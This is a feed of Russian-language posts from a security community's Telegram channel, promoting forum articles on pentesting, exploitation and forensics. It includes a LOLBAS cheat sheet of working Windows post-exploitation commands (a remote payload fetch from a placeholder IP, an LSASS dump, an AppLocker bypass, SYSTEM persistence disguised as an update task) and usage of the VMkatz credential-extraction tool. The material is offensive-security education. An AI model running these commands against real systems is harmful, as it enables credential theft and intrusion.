Codeby
36.4K subscribers
2.2K photos
100 videos
12 files
7.98K links
Блог сообщества Кодебай

Чат: @codeby_one
Форум: codeby.net
Обучение: codeby.academy

CTF: hackerlab.pro

VK: vk.com/codeby
YT: clck.ru/XG99c

Сотрудничество: @KinWiz

Реклама: @Savchenkova_Valentina
Download Telegram
LOLBAS шпаргалка: пост-эксплуатация Windows штатными средствами

EDR снёс инструментарий, но cmd/PowerShell живы — Windows сама несёт всё нужное:

curl.exe -s -o C:\Temp\f.exe http://IP/f.exe — загрузка файла (Win10 1803+), сигнатуры слабее чем на certutil

rundll32.exe comsvcs.dll, MiniDump C:\Temp\lsass.dmp full — дамп LSASS без Mimikatz, нужен SeDebugPrivilege

regsvr32.exe /s /n /u /i:http://IP/payload.sct scrobj.dll — Squiblydoo, обход AppLocker

msbuild.exe C:\Temp\payload.csproj — компиляция C# inline, обход AppLocker

schtasks /create /tn "WindowsUpdate" /tr "beacon.exe" /sc onlogon /ru SYSTEM /f — persistence без PowerShell

ATT&CK-маппинг, флаги и ограничения (WDAC, Server Core) — в полной шпаргалке:

https://codeby.net/threads/lolbas-shpargalka-komandy-post-ekspluatatsii-windows-bez-storonnikh-instrumentov.92752/
6🔥6👍4👎2🗿2
SeImpersonatePrivilege — и ты уже на полпути к SYSTEM

Получил reverse shell от доменного юзера. whoami /priv — стандартный набор, ничего интересного. Что дальше?

🎯 Порядок приоритетов при LPE:

1. ТокенSeImpersonatePrivilege у сервисных аккаунтов IIS/MSSQL открывает Potato-атаки прямо к SYSTEM
2. Сервисы — Unquoted Service Path встречается на каждом втором пентесте, а SERVICE_CHANGE_CONFIG для группы Users — прямой билет наверх
3. UAC bypass — десятки техник без GUI, когда застрял на medium integrity
4. Kernel exploits — последнее средство: объяснять заказчику BSOD на продакшне — сомнительное удовольствие

Если оба ключа AlwaysInstallElevated выставлены в `1` — любой MSI устанавливается от SYSTEM.

Полный разбор техник, команд и нюансов эксплуатации:

https://codeby.net/threads/povysheniye-privilegii-windows-ekspluatatsiya-miskonfiguratsii-tokenov-i-obkhod-uac-na-praktike.92759/
🔥87👍5
Beacon жив — но через 60 секунд его нет

Initial access получен, C2 поднят. Потом `MsMpEng.exe` режет нагрузку, Script Block Logging пишет каждый чих, AppLocker не даёт запустить ничего. Знакомо?

🔍 Windows-защита — четыре независимых эшелона:
• Статический движок Defender — сигнатуры, ML, PE-фичи
AMSI — runtime-перехват в адресном пространстве процесса
• ETW — телеметрия для EDR на kernel-level
• AppLocker — application whitelisting на уровне user-mode

Ключевой инсайт: охранник сидит в одной камере с заключённым. amsi.dll загружается в каждую PowerShell-сессию с теми же привилегиями, что и вредоносный код. Классический патчинг AmsiScanBuffer оставляет следы в .text-секции — EDR это видит. Hardware breakpoints через DR0–DR3 обходят сканирование без записи в память.

https://codeby.net/threads/obkhod-windows-defender-i-amsi-prakticheskii-gaid-po-defense-evasion-dlya-red-team.92763/
😴54👍2👎2🔥2
👥VMkatz

Инструмент для извлечения учетных данных Windows (хэши NTLM, мастер-ключи DPAPI, билеты Kerberos, кэшированные учетные данные домена, секреты LSA, NTDS.dit, ключи BitLocker) непосредственно из снимков памяти и виртуальных дисков на сетевом хранилище, в гипервизоре и везде, где находятся файлы виртуальной машины.


Для работы используется один статический двоичный файл размером ~3 МБ. Загрузите его на хост ESXi, узел Proxmox или в сетевое хранилище. Укажите .vmsn или .vmdk или целую папку с виртуальными машинами. Получите учетные данные, а не образы дисков.

⬇️Установка
Клонируем репозиторий, компилируем. Двоичный файл будет лежать по пути target/x86_64-unknown-linux-musl/release.
git clone https://github.com/nikaiw/VMkatz.git
cd VMkatz
cargo build --release --target x86_64-unknown-linux-musl
cd target/x86_64-unknown-linux-musl/release
./vmkatz —help


Поддерживаемые входные данные
📉Снимки VMware в формате .vmsn + .vmem;
📉Встроенные снимки VMware в формате .vmsn (без .vmem);
📉Сохранённые состояния VirtualBox в формате .sav;
📉Состояния savevm QEMU/KVM;
📉ELF core dump’ы QEMU/KVM в формате .elf;
📉Сохранённые состояния Hyper-V в формате .vmrs;
📉Виртуальные диски VMware в формате .vmdk;
📉Виртуальные диски VirtualBox в формате .vdi;
📉Виртуальные диски QEMU/KVM в формате .qcow2;
📉Виртуальные диски Hyper-V в формате .vhdx, .vhd;
📉RAW SCSI-устройства VMFS-5/6 в формате /dev/disks/...;
📉Сырые файлы реестра Windows в формате SAM, SYSTEM, SECURITY;
📉Сырой файл NTDS.dit в формате ntds.dit + SYSTEM;
🖱Минидамп процесса LSASS в формате .dmp.

Использование
1️⃣Извлечение учетных данных LSASS из снимка VMware.
./vmkatz snapshot.vmsn


2️⃣Указание пути до виртуальной директории с целью поиска необходимых файлов.
./vmkatz /path/to/vm-directory/


3️⃣Экспорт BitLocker FVEK.
./vmkatz --bitlocker-fvek /tmp/keys snapshot.vmsn


4️⃣Рекурсивное сканирование всех виртуальных машин по пути /vmfs/volumes/datastore1/.
./vmkatz -r /vmfs/volumes/datastore1/


#tools #credentials #vmware

🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером
Please open Telegram to view this post
VIEW IN TELEGRAM
👍108🔥6
Комбинация, которая обычно не собирается в одном резюме: сетевик с действующим CCNA, 15 лет практики, удалённый формат по умолчанию и четыре рабочих языка — русский, английский, грузинский, греческий.

На форуме Codeby появился специалист, который закрывает связку «сети — системное администрирование — кибербез — техподдержка» без дробления на четыре разные роли. За плечами — полтора десятка лет в проде и действующие сертификаты Cisco и Microsoft.

Такой профиль имеет смысл присмотреть, если вы:
— держите небольшой интегратор или MSP и не готовы выделять отдельных людей под каждое направление;
— работаете с клиентами на Кипре, в Греции или в Грузии и регулярно упираетесь в языковой барьер;
— ищете внешние руки для сетевой инфраструктуры без найма сетевика в штат;
— закрываете NOC/поддержку по дежурствам и нужен универсал, который не путается в вопросах безопасности.

Специалистов с таким стажем в сетях обычно быстро «поднимают» в архитекторы или замыкают на одного вендора. Универсалы-удалёнщики со свежими сертификатами и несколькими рабочими языками — скорее исключение, чем норма.

Полный профиль с контактами — в теме резюме: https://codeby.net/threads/ishchu-rabotu-v-sfere-it.92754/

Ищете других кандидатов или хотите разместить вакансию — раздел «Карьера в ИБ»: https://codeby.net/forums/kar-yera-v-ib-vakansii-i-proyekty.23/
7👍4👎4🔥4
Burp Suite + OWASP Top 10: какой плагин ставить и зачем

Один extension на каждую категорию OWASP:

• A01 Broken Access Control → Autorize: вставил cookie низкопривилегированного юзера, браузишь как админ — красный «Bypassed!» = готовый IDOR
• A03 Injection → ActiveScan++: добавляет XXE, SSTI, улучшенный SQLi
• A04 Insecure Design → Turbo Intruder: race conditions на промокодах — тысячи req/sec
• A07 Auth Failures → JWT Editor: атаки alg:none, weak secret, key confusion из Repeater
• A10 SSRF → Collaborator Everywhere: браузишь приложение, extension инжектирует заголовки и ловит out-of-band callbacks

Плюс Param Miner (до 65 000 параметров за запрос) и Retire.js для уязвимых JS-библиотек.

https://codeby.net/threads/burp-suite-extensions-shpargalka-po-owasp-top-10-2025-kakoi-plagin-stavit-i-zachem.92768/
👍125🔥5
За апрель на форуме вышло 111 материалов. Мы посмотрели Метрику и увидели закономерность, которую не покажет ни один рейтинг «по просмотрам».

Самая читаемая статья месяца, разбор реальных техник применения LLM в атакующих операциях (569 уникальных читателей). Без хайпа про «ИИ заменит пентестера»: конкретные сценарии разведки, генерация payload под редкий таргет, и та самая граница, за которой модель начинает галлюцинировать и портить операцию.
https://codeby.net/threads/ii-v-penteste-real-nyye-tekhniki-ispol-zovaniya-llm-v-atakuyushchikh-operatsiyakh.92644/

Но интереснее смотреть не на трафик, а на глубину. Техническая статья про kernel rootkit в Linux, перехват syscall table, модификация VFS, сокрытие процессов через /proc, собрала «всего» 280 посетителей. А среднее время чтения 1:37. Для kernel-level материала это аномалия: обычно такие вещи смотрят по диагонали и закрывают на второй странице листинга. Те, кто пришёл, сидели с кодом.
https://codeby.net/threads/kernel-rootkit-linux-perekhvat-syscall-table-modifikatsiya-vfs-i-sokrytiye-protsessov-ot-koda-do-detektirovaniya.92640/

То же самое с апрельским Zero-Day в Telegram (ZDI-CAN-30207, CVSS 9.8). 413 посетителей и показатель отказов 11%, читатели уходили только после того, как дочитывали разбор вектора до конца.
https://codeby.net/threads/zero-day-v-telegram-zdi-can-30207-razbor-uyazvimosti-telegram-zero-day-s-otsenkoi-cvss-9-8.92557/

А вот что неожиданно: сравнение OSCP, CEH, eJPT и PNPT, казалось бы, «попсовая» тема про серты, дала средний retention 3:06. Потому что без маркетинга: стоимость, формат экзамена, что реально спрашивают на собеседованиях в РФ, какая серта открывает двери, а какая висит красивым PDF.
https://codeby.net/threads/sertifikatsiya-po-pentestu-oscp-vs-ceh-vs-ejpt-vs-pnpt-chestnoye-sravneniye-ot-praktika.92610/

И единственная статья из топа, которая уже собирает органику из Яндекса (CTR 7.7%), roadmap в пентест от практика. Без «выучите тысячи инструментов», с привязкой к реальным вопросам на собесах в 2026.
https://codeby.net/threads/kak-stat-pentesterom-s-nulya-roadmap-ot-cheloveka-kotoryi-proshel-etot-put.92680/

Что из этого следует: на форум приходят не за «новостями из мира ИБ», а за материалом, который можно применить в понедельник на работе. Кто-то дочитывает про rootkit до последнего листинга, кто-то разбирается с сертификацией под конкретную вакансию, кто-то ищет, как устроен CVSS 9.8 изнутри.

А вам что из апрельского зашло сильнее, и что применили в работе?
👍12🔥53
Непонятный blob в cookie → reverse shell за 30 секунд

За этой «магией» — конкретная механика, которую важно понять, чтобы не застрять в поиске gadget chain на три вечера.

🔍 Как распознать формат в трафике:
• Java: Base64 начинается с rO0AB (байты ac ed 00 05)
• PHP: маркеры O:, a:, s: — читаются глазами
• Python pickle: бинарный поток с байтом \x80

⚙️ Ключевой инсайт: уязвимость — не в библиотеке вроде Apache Commons Collections, а в приложении, которое скармливает недоверенные данные в readObject(). Библиотека в classpath — не дыра. Дыра — когда пользовательский ввод до неё добирается.

Дальше: как подобрать gadget chain через ysoserial и phpggc, какие CVE эксплуатировать на WebLogic и PHP-фреймворках, и как строить цепочки вручную.

https://codeby.net/threads/uyazvimosti-deserializatsii-ekspluatatsiya-cherez-ysoserial-phpggc-i-postroyeniye-gadget-chain.92777/
7👍4🔥4
Charming Kitten не взламывает системы — они взламывают людей

Недели переписки в WhatsApp, легитимные PDF, приглашения на реальные конференции. И только потом — ссылка. Ни малвари, ни эксплойтов. Просто украденная сессия и полный доступ к Microsoft 365.

APT42 (Charming Kitten, IRGC-IO) работает иначе:

• Фейковые аккаунты журналистов и организаторов конференций выстраивают доверие неделями
• Фишинговые киты перехватывают TOTP-код в реальном времени — MFA не спасает
• Инфраструктура на Google Sites и Cloudflare Workers не триггерит блокировки

Стандартный SOC заточен под вредоносные вложения и подозрительные домены. APT42 не даёт ни того, ни другого — атака идёт на личный Gmail, где корпоративная защита не работает.

Полный kill chain с маппингом на MITRE ATT&CK и примерами детектирования в SIEM:

https://codeby.net/threads/apt42-sotsial-naya-inzheneriya-kak-irgc-khakery-obkhodyat-mfa-i-kradut-uchetnyye-dannyye-bez-malvari.92779/
7🎉4😁2👍1
Один POST-запрос — и ты root. Без пароля.

🔓 Два command injection в роутере Totolink A7100RU работают без аутентификации. HTTP POST к /cgi-bin/cstecgi.cgi — и атакующий получает полный контроль. PoC уже на GitHub, патча нет.

cstecgi.cgi парсит JSON, берёт значение параметра и без проверок скармливает его в system() через sprintf(). Параметр ttyEnable, задуманный как булевый флаг, принимает строку любой длины с shell-метасимволами.

⚙️ В статье:
• Распаковка прошивки через binwalk и анализ MIPS-бинарника в Ghidra
• Формирование запросов для CVE-2026-6112 и CVE-2026-6113
• Готовые Suricata-правила для детекции

MITRE ATT&CK, CVSS 4.0 и разбор CWE-77/CWE-78 на реальном коде — в статье:

https://codeby.net/threads/cve-2026-6112-i-cve-2026-6113-uyazvimost-command-injection-v-totolink-a7100ru-ot-analiza-proshivki-do-detektsii.92788/
👍175🔥1
RCE за три шага: как читать CVE advisory и не останавливаться на CVSS-балле

Большинство пентестеров смотрят на новую CVE, запоминают цифру 9.8 и идут дальше. Между тем в тексте advisory уже лежит готовый рецепт эксплойта — если знать, куда смотреть.

🔍 Три фазы для любого PHP/JS-стека:

1. Декомпозиция advisory — читать NVD, GHSA и CISA KEV. Вектор AV:N/AC:L/PR:N/UI:N сразу говорит: pre-auth RCE, максимальный приоритет
2. Patch diffing — коммит из GHSA показывает точку входа. Замена unserialize() или dol_eval() — ваш маяк
3. Цепочка до PoC — CWE-классификация как карта: CWE-502 → gadget chain, CWE-22 → доставка payload

Разобраны CVE-2025-32432 в Craft CMS (CVSS 10.0, CISA KEV) и CVE-2025-55182 в React Server Components — от advisory до шелла.

https://codeby.net/threads/ekspluatatsiya-cve-v-veb-prilozheniyakh-ot-chteniya-advisory-do-rce-za-tri-shaga.92809/
7👍3🔥1
XSS — это не просто alert(1)
Это уязвимость, которая может привести к краже сессии и полному захвату аккаунта.

Разобрали основные типы XSS и как от них защищаться — в карточках выше

🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
16👍10🔥7😁3👎1😡1
Forwarded from Hacker Lab
Почему Nmap без kill chain — просто сканер портов

Каждый раз, когда я веду воркшоп для начинающих, первый вопрос всегда один: «Какие инструменты установить?» И каждый раз я отвечаю встречным: «А на каком этапе атаки ты сейчас находишься?»

Разница между джуном и опытным пентестером не в количестве утилит, а в понимании — зачем конкретный инструмент запускается именно сейчас. Nmap без контекста — просто сканер портов. Nmap в начале kill chain — разведывательный модуль, от которого зависит весь дальнейший вектор атаки.

🔍 Большинство гайдов по инструментам хакера строятся как плоский список: вот Nmap, вот Metasploit, вот Wireshark — пользуйтесь. Это примерно как дать человеку скальпель, пилу и зажим и сказать: «Теперь ты хирург». Без понимания последовательности инструменты бесполезны.

В реальном пентесте каждый шаг определяет следующий. Сначала разведка — выясняешь, что вообще живёт на периметре. Затем анализ поверхности атаки — ищешь веб-приложения, открытые сервисы, точки входа. Потом эксплуатация — превращаешь найденную уязвимость в доступ. После — повышение привилегий и перемещение по сети.

MITRE ATT&CK формализует эту логику. Каждой фазе соответствуют конкретные техники. Запускаешь Nmap — выполняешь Network Service Discovery (T1046). Пробиваешь веб-форму через SQLmap — Exploit Public-Facing Application (T1190). Перебираешь пароли Hydra — Brute Force (T1110). Такой подход делает пентест системным и позволяет писать отчёты, которые заказчик реально может использовать.

🛠 Что конкретно даёт привязка к kill chain? Возьмём типичный вывод nmap -sV -sC -p- 10.10.10.100:

• Порт 22 с OpenSSH 7.9 — проверяем на известные CVE, но скорее всего идём через веб
• MySQL на порту 3306 торчит наружу — потенциальный вектор брутфорса (зачем он вообще открыт на периметре?)
Apache Tomcat 9.0.30 на 8080 — горячая находка: старые версии часто содержат дыры в менеджере деплоя

Это не просто список открытых портов. Это карта решений: куда идти дальше, что фаззить, что брутить, где искать CVE.

🎯 Опытные пентестеры при работе с десятками хостов комбинируют инструменты: Masscan делает быстрое первичное сканирование всех портов, а Nmap с флагом -sV точечно добивает найденное. NSE-скрипты добавляют глубину: smb-vuln-ms17-010 проверяет EternalBlue, ssl-heartbleed обнаруживает Heartbleed, а http-enum находит стандартные директории веб-серверов за один проход.

Это лишь первая фаза из десяти. Дальше — Burp Suite, SQLmap, Metasploit, Hydra, Hashcat и другие инструменты, каждый из которых привязан к конкретному этапу атаки. Читай полный разбор в статье 👇

https://codeby.net/threads/instrumenty-pentestera-top-10-s-real-nymi-primerami-v-kazhdoi-faze-ataki.92812/
👍204🔥3👎1
Почему малварь прячется в RAM — и как её оттуда достать

За последний год через одну лабораторию прошло больше двадцати дампов с реальных инцидентов — и во всех случаях малварь жила исключительно в оперативной памяти. Ни одного файла на диске. Классическая дисковая форензика дала бы ноль.

🔍 Fileless-атаки, reflective DLL injection, Cobalt Strike beacon в RWX-регионе легитимного svchost.exe — для антивируса и EDR это выглядит как обычная работа системы. Но в оперативной памяти они оставляют следы, которые никуда не деваются.

Почему RAM важнее диска при реагировании

Образ диска на 250+ ГБ снимается часами. Дамп RAM на 8–32 ГБ — за минуты. Но дело не только в скорости.

Оперативная память хранит то, чего на диске нет в принципе:

• Расшифрованный payload — малварь шифрует себя на диске, но в RAM работает в открытом виде
• Инжектированный код — Process Injection (T1055) файлов не оставляет, только RWX-регионы в чужом адресном пространстве
Скрытые процессы — руткит выдёргивает процесс из списка, но pool-теги остаются в физической памяти
• Активные C2-соединения — с PID, портами и IP, которые лог файервола мог не записать
• Хэши и билеты Kerberos — прямо в памяти lsass.exe

🛠 Volatility 3: что изменилось

Главная ловушка для тех, кто учился по старым руководствам: в тройке нет --profile. Вместо него — символьные таблицы в формате ISF, которые фреймворк стягивает сам при первом запуске. Не нужно угадывать точный билд Windows — Volatility 3 определяет его автоматически.

Синтаксис стал чище: vol -f dump.raw windows.pslist вместо громоздкого vol.py --profile=Win10x64_18362 pslist. Минорные билды Windows поддерживаются без обновления фреймворка.

⚠️ Ключевой момент про снятие дампа

Дамп снимается до перезагрузки — это очевидно, но на практике именно здесь теряют артефакты. Перезагрузили хост — потеряли всё.

На Windows используется WinPmem: winpmem_mini_x64_rc2.exe output.raw. Сразу после снятия фиксируется контрольная сумма: sha256sum output.raw > output.raw.sha256. Это не формальность — без chain of custody отчёт не примут ни в суде, ни на review у заказчика.

💡 Что реально разделяет pslist и psscan

Большинство руководств перечисляют плагины, не объясняя разницу. pslist идёт по двусвязному списку ядра — руткит может выдернуть оттуда запись. psscan сканирует физическую память по pool-тегам — и находит то, что скрыто. Расхождение между выводами двух плагинов — красный флаг.

Полный workflow расследования: от снятия дампа до IoC для отчёта — в статье.

https://codeby.net/threads/analiz-dampov-pamyati-volatility-3-prakticheskii-workflow-obnaruzheniya-malvari-i-in-yektsii.92825/
12🔥9👍6
Пасхальная суббота, взломанная инфраструктура и CVE без патча

31 марта 2026 года сенсоры watchTowr зафиксировали активную эксплуатацию уязвимости, для которой не существовало ни advisory, ни патча. Четырьмя днями позже, в пасхальную субботу, Fortinet выкатила бюллетень. К тому моменту атакующие уже сидели внутри.

🎯 Почему праздники? SOC работает в полсилы, дежурный смотрит в потолок, а окно между компрометацией и детектом растягивается с часов до дней. CEO watchTowr сказал об этом прямо: атакующие давно поняли, что праздники — лучшее время для работы.

CVE-2026-35616 — pre-auth RCE с CVSS 9.8 в FortiClient EMS версий 7.4.5–7.4.6. Не академическая строчка из бюллетеня, а рабочий zero-day, который эксплуатировался до публикации патча.

🔍 Что такое FortiClient EMS и почему это главная цель?

FortiClient EMS — не просто сервер мониторинга. Это центральный management plane всей endpoint-инфраструктуры Fortinet. Через него проходит всё: VPN-политики, compliance-проверки, телеметрия с агентов, интеграция с FortiSandbox и FortiGate.

Компрометация EMS на red team — это джекпот. Атакующий получает:

• управление защитой на всех endpoint'ах
• возможность раскатывать произвольные пакеты через легитимный push-механизм
• доступ к телеметрии с VPN-токенами
• манипуляцию FortiSandbox-интеграцией

По данным Shadowserver, около 2000 экземпляров FortiClient EMS торчат в интернет напрямую — вопреки всем рекомендациям Fortinet. Но кого когда останавливали рекомендации.

⚙️ Почему баг вообще работает?

Вектор CVSS:3.1/AV:N/AC:L/PR:N/UI:N — это значит: удалённо, без сложных условий, без учётки, без каких-либо действий со стороны жертвы. Один запрос — один результат.

Корневая причина — отсутствие auth-middleware на конкретных API-эндпоинтах. Механизм аутентификации не взламывается и не обходится через инъекцию — он просто не применяется к определённым запросам. Разработчики добавили новый route, забыли навесить auth-декоратор — классика жанра. Такой паттерн встречается при аудите корпоративных REST API регулярно.

Отдельный момент: в русскоязычных источниках гуляет ошибка — якобы версия 7.4.6 закрывает уязвимость. Это неверно. По NVD, уязвимы обе версии — и 7.4.5, и 7.4.6. Исправление только через обновление до 7.4.7.

🔗 Параллельный вектор

CVE-2026-35616 — не изолированный случай. CVE-2026-21643 — SQL-инъекция в версии 7.4.4 с тем же CVSS 9.8 и идентичным вектором. Два разных класса уязвимостей, один и тот же критический уровень, одна и та же цель. FortiClient EMS явно требует более глубокого security-аудита.

Полная механика эксплуатации — от разведки и API bypass до lateral movement через Fortinet-инфраструктуру — в статье на форуме.

https://codeby.net/threads/cve-2026-35616-ekspluatatsiya-uyazvimosti-forticlient-ems-ot-api-bypass-do-zakhvata-fortinet-infrastruktury.92827/
17👍5🔥4👎1